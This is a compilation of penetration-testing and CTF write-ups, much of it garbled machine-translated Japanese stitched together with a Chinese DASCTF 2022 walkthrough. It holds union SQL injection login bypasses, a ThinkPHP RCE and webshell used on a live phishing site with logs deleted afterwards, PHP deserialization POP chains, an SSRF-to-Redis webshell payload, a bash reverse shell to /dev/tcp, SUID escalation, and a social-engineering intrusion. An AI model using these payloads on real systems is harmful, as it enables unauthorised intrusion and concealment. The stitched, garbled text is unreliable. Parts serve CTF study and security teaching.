パスワード: jdfmqjvrdlmq2l3ahjlwxfmaox2vxaxvhbhbfbh5uejd0ypvjmznhcsjmsoh1uufzaljluxq1mxwzgwrfxnr1krsxgv5nwbhpkwunfvgdky4nmvzbhzyfms A52VZZUBNTEBYQFCGZLYPHWBTVHBWF2MSD1UWHWBL5KVUJVCAZVY2B3VTPNWXIVYAHVT0XGMJPKTWRFC50WYKHXBRLLLVXZVMJZVW1XMESLGBYQGCSVUTCB3RU LXRRFWTKH1UXX2AOPEBTLLM41WTQXMBWRNWXQ2QOZ1VWRGWHWAII5EVXUFZWB3VTJZAVFWAAHKY510VLDVMTZLNSRLYK5EWTRECGNWITWYZLEWPFBYI wcsvkydhmvazvnw0uasjdzwx2anzlurrnsvkvoxmmifhbwe2sopwzvdmnpgatfvdsbzykxmbtvnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:アプリは通常の图片を返します

プレーンテキスト: {'username':'test'or'1'='1'、 'password ':'123456'、 'ostype'3360'android'、 'osversion ':'5.1'、 'appversion ': '20 .06.04 '、' logintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version'new '}

パスワード: k0vwaluufnuaczxerfwrspfcod0vzlbtbxovfgfgmjpw3vzaipgetdvdsbzyk5kvuzjrgzfukhfvv2etvljedrvevvkvkvkeafhbr5ksozvwzzkewhg byqgcstgzh HMVZL3BVFGUSDVVV0P0RHTUNXDFCKHVYKZLHZTMV5KRW1MVWLTBHPHPKTUZFSWXGZ4BZVTPHBWULTSJYXXWRINEAWPLVWPNVOVZVPHPK4B DZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxm vsrlejdvyzw2vtlxvggj1twh1uvftvhzhcxnlcwbttphgbupxthf2q1c1u6xwvlteb6lfvxsmyk5kazvnrw1kvatwvzx2aopktsdfmavyvlyvwlxtx10sshlw結果:アプリは通常の图片を返します

この時点で、ログインポイントは注入であると判断できますが、結果は常に「ユーザー名またはパスワードが間違っている」ということです。つまり、「または「1」='1が使用されます。

图片

戻り結果に基づいて、バックエンドのログインのロジックコードはこのようなものかもしれません

userInfo='select * from userinfo where username=username';

userPass=userInfo.password; if(userpass==password){return 'login success';

} else {return 'login failed';

}ユニオンインジェクションを介してユニバーサルパスワードを構築すると、ユーザーがログインする可能性があります。テストプロセスは次のとおりです。

最初にテストで順序を使用し、フィールドの数が9であることを知ってください、ペイロードを作成します

#ターゲットサーバーにはフィルタリングがあるため、ここに単純なパスプレーンテキストがあります:{'username'3:'test'union/**/select/**/null、null、null、null、null、null、null、null、null、null、null - null - '、' password ':'123456 '、' ostype':'android '、' osversion':'5.1.1 '、' appversion ':'20.06.04 '、' logintyp E':'1 '、' Model':'V1938T '、' Brand':'Vivo '、' imei'3360'865166023309431 '、' version ':'new '} ciphertext: jdfmqj vrdlmq2l3ahfkaipktqzfdkdvy2b3vtfdb6zfaw52uzbhbntktfrfcwtwzojkehvumrvmtwdfvzwgbh9eayzvc1uktkxmubhdubhdyyy ky0xgm jpebulve3dlyrxmmifhbwewmjz1v1axvipktynfrazktojvmurdbgjmsar1uep0rinlsqlfmwbtunx2vsfhbr5ksox2vzg3rtdlvijwevxgz0e zvtphbwe1tkhktwvdmkbttvrvnsvvyqx2rolxshn2t1itwzbhbspgzujfdsbzyk5kvufjvrfwtgr1uwltvhbtsql1d1d1smyqhxbxttr2sovev wzumwhmwunvswzfzhfzvtjzawuvykhkyjpfblvdmxnlesvvypzevvztmvvvmrwd1uysgmrfgby9uezxwzwzphmvxndcwevtsdvuuhxrkjktrll1baz 0UHR2RNLXSXVWYKV1U6H2MWTMVIVGRKJZYXVZPHZZIVAGRLTIHHMJRDZGPVMONTUP5KBWVNSYM2MKTW4VLES1KTIVGWSDFZ040AZPN wsjwaondzip0vnftserfe5cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:アプリは正常に返されます图片

Oracleは、ユニオンクエリを実行するときにもフィールドデータ型をテストする必要があるため、対応するフィールドデータ型もテストする必要があります。最終結果は次のとおりです

#ここでパスワードを123に変更して、ユニオンによって構築されたユニバーサルパスワードが実行可能かどうかをテストすることに注意してください。 {'username':'test'union/**/select/**/1、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 12 3 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、1デュアルから - '、' password ':'123 '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion':'20.06.04 '、' logintype '' :'1 '、' Model ':'V1938T '、' Brand':'Vivo '、' imei':'865166023309431 '、' version':'new '} ciphertext: QSXBDUSV0 QPJKD5TWYB1UDSBTXFTBZBXOTFMSWH1TYZUBLTEASDVEVBTUNX2VSZTMF1KCSVFV2EZAH5EZYDVC1UZWBXBUBZAVFGUSJTYYBNRKNXMXNLES vvzpperirnuxfmdwd1uyzlewpfbunfdsbzyk50awbdmfzfuoh1vzx2aopktrl1ckxwtpjlbtreevfmrwd1uysgmvfgzijwsazfzzpkxkkaxjma SOH1UEVDMKBZATR1MSPXUOXGWTBXOVFGMJPWW3VZAIPGETD1ROJDZZZHFZVTPHBWULTWHLUXHXVNPEBYQFCFCSPWTPJKBUVNTHJWYGPXWYAHMR1EB XVFWG1GZLH2AXFJWVJMMSAR1UUBXMKNHARZLNSRLYK5EWTVTMVVMRWD1UYSGBY99UEZXWZPHMVXNDCWEVTSDVUHXRKNDZWDFEJFJPPR ntxj2qozfv650vl5ebyjlnwbzyqxgwuvjvjvrv2sontw1etvlzecunleodvzoxgwszdcwmmashfv1y1altktktzkvnxuvzgbnbtppntpntxvm tshlu2ahmjzecirfe5cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsddfmavlyvxmbwlxtx10sshlw結果:プロンプトは弱いパスワードです(この方法が実行可能であることを示します)图片

图片

次に、1つのフィールドと1つのフィールドを変更して、パスワードフィールドに対応するフィールドを決定します。テスト結果は次のとおりです

#パスワードをCESHI123 @@@に変更したことに注意してください。

プレーンテキスト:{'username':'test'union/**/select/**/1、' 123 '、' 123 '、' ceshi123 @@ "、 '123'、 '123'、 '123'、 '123'、 '123'、 '123'、1 '、' password ':'ceshi123 @@@ '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion ':'20.06.04 '、' logintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version ':'new '}

パスワード: k0vwaluufnuaczxxerfwuptebip1cwrlykpfvtbnstr2ckpxw1olvitgbyqgcgsvuzoj1auftrrvmtwhmtwhzanp luwrferzkuqxmmifhbfn2vkxw3bhmr1ebh9edsd0yhvzvtjzawevyw5mu050vhtktfrfcgxmuqb3mhvvmwy1s SJDVWR2MWFGDX9EWKDVYZW2VTRDBVFGUSDLVI50VONFETL1DS1WTP5KBREEVFMUSVFVXWMRS5KVYFVCXUVY2B3 vtfdb6zfaw52uzbxmwneawk1bwbtunx2vsfhefvgmnxgvwltbhpkvy9ewg1wzlhgbxhvnw0uasjdzwxgmhnnsqlv nkzlyphwbtbxovfmvkbtwxkkvnpmwunfr4vvyczvvvvjunrfmtontyizubldlsuvfc50wykrxbtpxshd1topxwvp 0AIPKTYNFRSVEZ310AZ9MWGNVYKDUT5L0VLFGZVNFNKHVZLBHWTVVMRJ2MS52U2WWRW5UNYQWNWTWZKJLVUVHZYV 2SWH1UVFZAINDBUNLQKVLUSBHWTVVMFN2BKPXWZVTRNTKTZKVNXUVZGBNBTPNTXVMTSHLU2AHMJZECIRFE5 cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:迅速なログイン成功图片

图片

バイパス後、プログラムに例外があることがわかりました

图片

ユーザー名(ユーザー名)、StaffID(従業員番号)、電子メール(電子メール)、StaffName(名前)、Tel(携帯電話番号)、モバイル(携帯電話番号)など、返されたデータを注意深く観察します。ただし、これらのデータは自分で構築されたばかりです。ここでは、後続のログインプロセスには実際のユーザー情報が必要です。

图片

幸いなことに、実際のユーザー情報を取得する場所はまだあります

3。パスワードを忘れてユーザー名を破る

アプリにはパスワードを忘れる機能もあります(通常、ここでユーザー名を爆発させることができます)

图片

パスワードを忘れてユーザー名が存在するかどうかを判断する機能を使用できます。ここで私は辞書を実行したばかりで、多くのユーザー名が出てきました。

图片

图片

4。 SMS検証コードの亀裂

これらのユーザー名を自然に使用して、SMS検証コードを使用してログインします

图片

確認コードを取得してから、データパケットを復号化すると、驚くべき発見がユーザーの基本情報を返します

图片

ログインに基づいてペイロードを再テストし、最終結果は次のとおりです

プレーンテキスト: {'username':'test \' nion/**/select/**/staffid、\ 'qwe123 @@@@ \'、\ 'username \'、\ 'qwe123 \ \'、\ 'mobile \'、\ 'mobile \'、\ '\' 8651602313デュアル - '、' password ':'qwe123 @@@ '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion ':'20.06.04 '、' l ogintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version ':'new '}

パスワード:

残念ながら、数日前にフィッシングウェブサイトでいくつかの資金をだまされました。関連部門に連絡する前に、彼は、関連部門の行動を促進するために有用な情報を入手できるかどうかを確認するために私を見つけました。

Webサイトで予備情報を収集した後、WebサイトがThinkPhp 5.0.7フレームワークを使用し、ThinkPhpのEXPの対応するバージョンを直接見つけて試してみることがわかりました。

http://www.hu *****

PHPINFOは正常にポップアップされ、ThinkPHPのRCEの脆弱性は固定されていませんでした。 phpinfoを通じて、サーバーがパゴダを使用して構築され、Windowsシステムを実行していることがわかります。次のことは非常に単純だと思ったが、シェルを書いたときに困難に遭遇した:

http://www.hu ****

eval($ _ post ['cmd']);

ファイルは正常に書き込まれましたが、ページに直接出力されました。ソースコードを確認して、HTMLエンティティエンコードとして逃げられていることがわかりました:1049983-20240105113112936-10480240.png

base64エンコードを使用してそれを書き込もうとした後、私はそれがまだ逃げられていることに気付いたので、私はコマンドを直接実行して試しました:

http://www.hu ****

エコーがないことがわかり、シェルをリバウンドしようとしましたが、失敗しました。この時点で、私はシステムが無効になっている可能性があると感じ、評価に切り替えてまだ失敗しました。最後に、アサートを使用して正常に実行できることがわかりました。そのため、シェル接続を直接構築しました。

http://www.hu *****。

シェルを取得した後、最初にコマンドを実行しようとしましたが、コマンドはまだ正常に実行できませんでした。 disabled_functionを突破しようとしましたが、失敗しました

この時点で、心を変更し、Server構成ファイル/アプリケーション/Database.phpを確認して、MySQL Databaseアカウントを取得するには1049983-20240105113114247-1822725548.png

データベースに接続:1049983-20240105113115109-999005160.png

クエリバックエンド管理者データ:1049983-20240105113115997-1108461434.png

しかし、MD5のロックを解除できないことがわかりましたが、データベースのデータを大まかに確認しました。ここでは大きな助けがあったデータは見つかりませんでしたので、バックエンドアカウントに固執し続けることは考えませんでした。

次の主な焦点は、サイト管理者の情報を収集することです。最初にロギングファイル/runtime/log/202107/05.logをthinkphpフレームワークで確認してください

システム関数はログで実際に無効になっていることがわかりました:1049983-20240105113116744-1523513178.png

同時に、データベースをチェックするときに無視された重要なデータがログで見つかりました。 ——バックエンド管理者の最後のログインIP:1049983-20240105113117470-1744032188.png

数日前にレコードを見ると、最後のログインIPは101.78。*。*であることがわかりました。これがWebサイト管理者のIPアドレスであると疑っていました。シニアにフィードバックした後、私はIPをチェックし、それが香港のIPであることがわかりました。私はパニックを感じました:これはvp nをぶら下げるはずです

結果は予想通りです:1049983-20240105113118448-932331194.png

次の作業は行き詰まりました。 ThinkPhpのログをめくった後、他のIPのログインデータは見つかりませんでした。バックエンド管理者アカウントパスワードはデータベースで変更されました。バックグラウンドにログインした後、有用な情報は見つかりませんでした。いくつかのフィッシング記事の管理者のみがありました:1049983-20240105113121556-1466440048.png

後で、私はマスターと通信しました。マスターは、パゴダに有用な情報が残っているかどうかを確認することを提案しました。 c:/btsoft/panel/data/default.dbでPagodaパネルのデータファイルを見つけて、Pagodaアカウント情報を取得しました:1049983-20240105113122603-1380751264.png

同時に、パゴダデータベースのログの内容も確認しました:1049983-20240105113123487-705006491.png

ただし、パスワードを解くことはできません。現時点では、DBファイルを上書きすることでアカウントパスワードをリセットできます。ただし、この方法ではパネルを再起動する必要があります。現在の状況により、この方法は実装が困難です。

だから私の考えは再び行き詰まった。寝た後、私は翌日目が覚め、パゴダパネルのリクエストログがあることを思い出しました。そこで、JSONにc:/btsoft/panel/logs/request/1049983-20240105113124480-1005846886.pngに保存されている多数のリクエスト情報が見つかりました

以前のログファイルを開くと、実際にブレークスルーがありました(v p nが不安定で、操作中に突然電話を切って、実際のIPの漏れをもたらす可能性があります):1049983-20240105113126389-1211552580.png

175.167を照会した後、*。*、それはシェニヤンのIPアドレスであることがわかりました。

ちなみに、Webサイトのソースコード、データベース、およびログファイルはパッケージ化されて収集され、最終的に侵入中に残ったリクエストレコードを削除しました1049983-20240105113127211-1927137918.png

完成した仕事

元のリンクから転載:https://www.cnblogs.com/yesec/p/14983903.html

EasyPOP

题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public

起点是 sorry 类的 __destruct(), 由 echo $this->hint 调用到 show 类的 __toString() 方法, 然后通过执行 $this->ctf->show() 跳转 secret_code 类的 __call() , 进而到 show() 方法, 在 show() 方法中访问不存在的属性, 跳转到 sorry 类的 __get(), 最后通过 $name() 跳到 fine 类的 __invoke()

pop 链构造如下

<?php

class fine
{
    public $cmd;
    public $content;
}

class show
{
    public $ctf;
    public $time;
}

class sorry
{
    public $name;
    public $password;
    public $hint;
    public $key;
}

class secret_code
{
    public $code;
}

$e = new fine();
$e->cmd = 'system';
$e->content = 'cat /flag';

$d = new sorry();
$d->key = $e;

$c = new secret_code();
$c->code = $d;

$b = new Show();
$b->ctf = $c;

$a = new sorry();
$a->name = '123';
$a->password = '123';
$a->hint = $b;

echo serialize($a);

最后改一下数字绕过 __wakeup

http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:"sorry":4:{s:4:"name";s:3:"123";s:8:"password";s:3:"123";s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231752647.png

hade_waibo

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231753442.png

cancan need 有任意文件读取

http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php?m=show&filename=file.php

file.php

............

<?php

error_reporting(0);

session_start();

include 'class.php';


if($_SESSION['isLogin'] !== true){

    die("<script>alert('号登一下谢谢。');location.href='index.php'</script>");

}

$form = '

<form action="file.php?m=upload" method="post" enctype="multipart/form-data" >

    <input type="file" name="file">

    <button class="mini ui button" ><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">

  提交

</font></font></button>

</form>';




$file = new file();

switch ($_GET['m']) {


    case 'upload':

        if(empty($_FILES)){die($form);}


        $type = end(explode(".", $_FILES['file']['name']));

        if ($file->check($type)) {

            die($file->upload($type));

        }else{

            die('你食不食油饼');

        }

        break;


    case 'show':

        die($file->show($_GET['filename']));

        break;


    case 'rm':

        $file->rmfile();

        die("全删干净了捏");

        break;


    case 'logout':

        session_destroy();

        die("<script>alert('已退出登录');location.href='index.php'</script>");

        break;


    default:

        echo '<h2>Halo! '.$_SESSION['username'].'</h2>';

        break;

}

?>

............


class.php

‘<?php

class User

{

    public $username;

    public function __construct($username){

        $this->username = $username;

        $_SESSION['isLogin'] = True;

        $_SESSION['username'] = $username;

    }

    public function __wakeup(){

        $cklen = strlen($_SESSION["username"]);

        if ($cklen != 0 and $cklen <= 6) {

            $this->username = $_SESSION["username"];

        }

    }

    public function __destruct(){

        if ($this->username == '') {

            session_destroy();

        }

    }

}


class File

{

    #更新黑名单为白名单,更加的安全

    public $white = array("jpg","png");


    public function show($filename){

        echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';

        if(empty($filename)){die();}

        return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';

    }

    public function upload($type){

        $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";

        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);

        return "Upload success! Path: upload/" . $filename;

    }

    public function rmfile(){

        system('rm -rf /var/www/html/upload/*');

    }

    public function check($type){

        if (!in_array($type,$this->white)){

            return false;

        }

        return true;

    }


}


#更新了一个恶意又有趣的Test类

class Test

{

    public $value;


    public function __destruct(){

        chdir('./upload');

        $this->backdoor();

    }

    public function __wakeup(){

        $this->value = "Don't make dream.Wake up plz!";

    }

    public function __toString(){

        $file = substr($_GET['file'],0,3);

        file_put_contents($file, "Hack by $file !");

        return 'Unreachable! :)';

    }

    public function backdoor(){

        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){

            $this->value = 'nono~';

        }

        system($this->value);

    }


}

Test 类可以利用, 第一时间想的是 phar 反序列化

可以用 . 执行命令来绕过正则

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231758660.png

思路就是先上传 phar 文件, 然后上传一个 jpg, 其内容包含要执行的命令

注意 jpg 的名称要在 phar 的前面, 例如 phar 的名称是 dasctfe4.jpg, 包含命令的 jpg 名称必须是 dasctfc2.jpg 或者 dasctf01.jpg (ascii 码较小)

不过试的时候发现绕过 wakeup 好像不太行…

然后想起来做 EasyLove 题的时候根目录下有个 start.sh 部署脚本, 结合题目的描述 tips:flag在/目录下的一个文件里, 索性直接读取 start.sh 看看

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231801987.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231803463.png

读取 /ghjsdk_F149_H3re_asdasfc 得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804991.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804073.png

EasyLove

根据题目描述的 redis, 猜测是通过 ssrf + redis 来 getshell

$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); 这句很明显是要通过某个类来执行 ssrf

众所周知 redis 的协议很宽松, 支持用 http 来发包, 而 php 原生的 SoapClient 类可以发送 http

payload 如下

<?php


class swpu{

    public $wllm;

    public $arsenetang;

    public $l61q4cheng;

    public $love;

}


$a = new swpu();

$a->wllm = 'SoapClient';

$a->arsenetang = null;

$target = 'http://127.0.0.1:6379/';

$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '<?=eval(\$_REQUEST[1])?>'\r\nsave";


$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");

echo urlencode(serialize($a));


试的时候一直卡住 (正常现象), 访问 shell.php 也显示 404

于是猜测 redis 可能有认证, 看了下题目有 hint 类, 通过 file_get_contents() 来获得 hint.php 的内容

直接反序列化 hint 无回显, 结果想试试 file_get_contents() + gopher 的时候阴差阳错地读到了 hint.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231829355.png

<?php


class hint{

    public $hint;

}

$a = new hint();

$a->hint = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';

echo serialize($a);


http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/?hello=O:4:"hint":1:{s:4:"hint";s:404:"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A";}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231830188.png

猜测 20220311 就是 redis 的密码

于是最终 payload 如下

<?php


class swpu{

    public $wllm;

    public $arsenetang;

    public $l61q4cheng;

    public $love;

}


$a = new swpu();

$a->wllm = 'SoapClient';

$a->arsenetang = null;

$target = 'http://127.0.0.1:6379/';

$poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '<?=eval(\$_REQUEST[1])?>'\r\nsave";


$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");

echo urlencode(serialize($a));


O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A145%3A%22hello%0D%0Aauth+20220311%0D%0Aflushall%0D%0Aconfig+set+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0Aconfig+set+dbfilename+shell.php%0D%0Aset+xzxzxz+%27%3C%3F%3Deval%28%24_REQUEST%5B1%5D%29%3F%3E%27%0D%0Asave%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D


https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231832077.png

访问 shell.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231833180.png

蚁剑连接, 发现 flag 打不开

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231833251.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231834534.png

root 权限, 估计是要提权

先用 bash 反弹 shell, 直接输入会有点问题, 解决方法是先在 bash.sh 里写入反弹命令, 然后通过 bash bash.sh 来执行

bash -i >& /dev/tcp/xxxx/yyyy 0>&1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231836286.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231837760.png

查找带 SUID 的文件

find / -perm -u=s -type f 2>/dev/null
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231839463.png

发现有 date, 于是直接用 date 来读取 flag

date -f /hereisflag/flllll111aaagg

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231839756.png



参考原文: https://exp10it.cn/2022/10/dasctf-2022-%E5%8D%81%E6%9C%88%E8%B5%9B-web-%E9%83%A8%E5%88%86-writeup/#easypop

来自为知笔记(Wiz)

0x00はじめに

赤と青の対立は間違いなく連続的なゲームプロセスです。近年の継続的な犯罪と防御により、戦いは次々と戦われ、Webの脆弱性は急激に減少し、ソーシャルワーカーのフィッシングは明らかに主流の攻撃方法の1つになりました。

图片

0x01免責事項

慎重に読んで、次の用語を完全に理解してください。

1.この公式アカウントが共有する記事は、法的に認可されたエンタープライズセキュリティ構築と個人学習行動のみを目的としています。組織または個人は、違法行為に使用することを厳しく禁止されています。

2.この記事では、関連するツールとテクノロジーを使用してテストする場合、行動が地域の法律や規制に準拠し、十分な許可を取得していることを確認する必要があります。

3.この記事で関連するツールとテクノロジーを使用する過程で違法行為がある場合、あなたはあなた自身の裁量で対応する結果を負担する必要があり、私たちは法的責任または共同責任を負いません。

4.組織や個人がこの公式アカウントの名前で違法な利益を上げることは厳密に禁止されています。

5.この公式アカウントのすべての共有ツールと技術記事は、許可なしに公開共有を厳しく禁止しています。

上記の禁止行動が発見された場合、私たちは法的責任を追求する権利を留保し、あなたは禁止された行動によって引き起こされた結果を負担するものとします。

0x02通常の操作を通過します

ターゲットを取得した後- 資産収集- ソフトペルモンを見つける - 料理をしてみてください

ターゲットユニット情報を取得した後、Qichachaドメイン名とエンタープライズ構造を介して、外国投資がなく、優れたユニット企業は1つしかなかったことがわかりました。

图片

サブドメインを探して、利用可能な資産はありません(Virustotal.com、高速かつ簡単ですが不正確です)

图片

また、QAXNBアセットマッピングプラットフォームを通じて利用可能な情報があるかどうかを確認するのも空です。

图片

マルチポイントping、ドメイン名の解像度、その他の操作を通じて、それらはすべてAlibabaクラウドを指していることがわかります

图片

一連のプロセスの後、不変の公式Webサイト(ドメイン名の解像度がクラウドを指し示すことを除いて、管理する目標はありません。深く掘り下げる気分はありません)。

ついに結論に達しました:私は実際に柔らかいpersimmonです

0x03すべての道路はローマに通じています

Webを移動できない場合、通常の操作を実行できません。公式アカウント、ミニプログラムで指を向けてください

モバイル端末の適用をテストし、リクエストアドレスとパケットリターンのコンテンツを観察することにより、実際のIPアドレスが最終的に見つかりました。そのため、公式Webサイトはクラウドにありませんでした。

图片

IPを通じて、フルポートスキャンはH3Cネットワーク管理機器に存在することがわかりました。 IPがエクスポートIPであると大まかに推測できます。

图片

前面と背面にある5 IPの完全なポート情報をスキャンすることで、いくつかのアプリケーションシステムを見つけることができて大喜びしました。彼らは柔らかいperのように見えました、そして、私は成功が私の目の前にいると感じました。私は魂を叩き、黄色いドラゴンを襲おうとしていました。私はそれについて考えることに少し興奮していました。 hehehehe

その結果、いくつかの抜け穴がありますが、それらのどれも移動することはできず、GetShellが失敗しました

案の定、柔らかいperは私です

しかし、私たちはすべて攻撃と防御をする銃の王であり、最後の瞬間まであきらめません。特定のシステムに侵入したとき、私たちは大きな赤ちゃんを見つけました(オンラインマニュアル1対1のWeChat QRコード)

图片

0x04ターゲットカスタマーサービスが大好きです

ターゲットカスタマーサービスを追加した後、私の興奮した心と震える手はすべて、私たち2人が初恋と同じくらい美しいことを意味します。私たちが火に会うとき、今夜何かが起こります。 hehehe

会話の時間間隔と返信の短い言葉を通して、彼女が私の誠実な心のために無駄に私にとっては不安定であることを見るのは難しくありません。

しかし、ことわざにあるように、「私は勇敢になり、死に飢えます」。私は彼女が私に十分に気にかけていないと結論付けたので、私は勇敢で良い男になることにしました。

图片

案の定、私の判決の下で、「よろしいですか?本当に私を扱っていますか?」、2人の攻撃の下で、彼女は心を変えて、私の大きな赤ちゃんをクリックしました。また、彼らのユニットのイントラネットを正常に入力しました。

图片

图片

0x05の詳細は、成功または失敗を決定します

プロセス情報とポート情報を収集することにより、Kingsoft Antivirusがイントラネットに存在することが発見され、アクセスがV9であることがわかりました(アップロードおよび固定)

图片

詳細はこちらです。正面の公式アカウントをテストしていたとき、アカウントのパスワードを見つけて、さりげなく記録しました。

图片

ルールを分析した後、いくつかのアカウントパスワードを手動で再編成し、それらを使用してKingsoft Anti-Virusと衝突します。魂の別のショットが打たれ、それは正確な打撃であり、成功裏に勝ちました。

图片

古代人は次のように述べています。「内部ネットワークを持っている場合、コントロールを集中化した人は世界に勝ちます。」この時点では、ユニットのイントラネットを落とすだけで十分ですが、十分ではありません。私はいつも何かが欠けていると感じているので、急いで続けなければなりません。

組み立てられたパスワードを通じて、上記のH3Cネットワークデバイスを取得し、ネットワーク管理者に直接なったことがわかりました。すべてのルーティングの方向とネットワーク戦略を理解しました。 hehehehe

图片

慎重なマスターは、イントラネットにVMware(特定の写真にアピールするWebtitle)があることを実際に発見したので、私は間違いなく彼女を手放すことができませんよね?

歴史的な脆弱性を通じて正常に取得され、コア生産システムが展開されていることがわかりましたが、歴史的な脆弱性は修復されませんでした。

图片

getShell -data.mdb -decrypt-クッキーを取得- 背景を入力する

图片

他はすべて断片化されたものであり、技術的な内容はあまりありません。マスターもそれが好きではないと信じているので、ここでやめましょう。再び戦うのは失礼です。

0x06攻撃ルート

图片

0x07最後の単語

記事には不合理または不適切なコンテンツがあります。コメントへようこそ。

記事の違法または侵害の内容があります。この記事は、確認の直後に削除されることを指摘するよう歓迎します。

元のリンクから転載:https://mp.weixin.qq.com/s/cixtfpn__ -xxtpcte2ow?scene=25#wechat_redirect

晴れた夜、私はTwitterで歩くことに興奮していましたが、突然、次の推奨フォローはXXXXビデオの名刺であることがわかりました。

图片これ、これ、これ、これ、私は真面目な人です、Twitterがこれらを私にプッシュした理由はわかりません。これを実行し、プロモーションリンクを開き、アプリをダウンロードする必要があります。

图片

このアプリは、開くとすぐに馴染みのある臭いを人々に与えます。 TP Twoによって開かれた可能性が高いようです。

图片

携帯電話番号、フィドラーを登録してパッケージをキャッチして変更しますが、コンテンツは実際には目を引くものです

图片

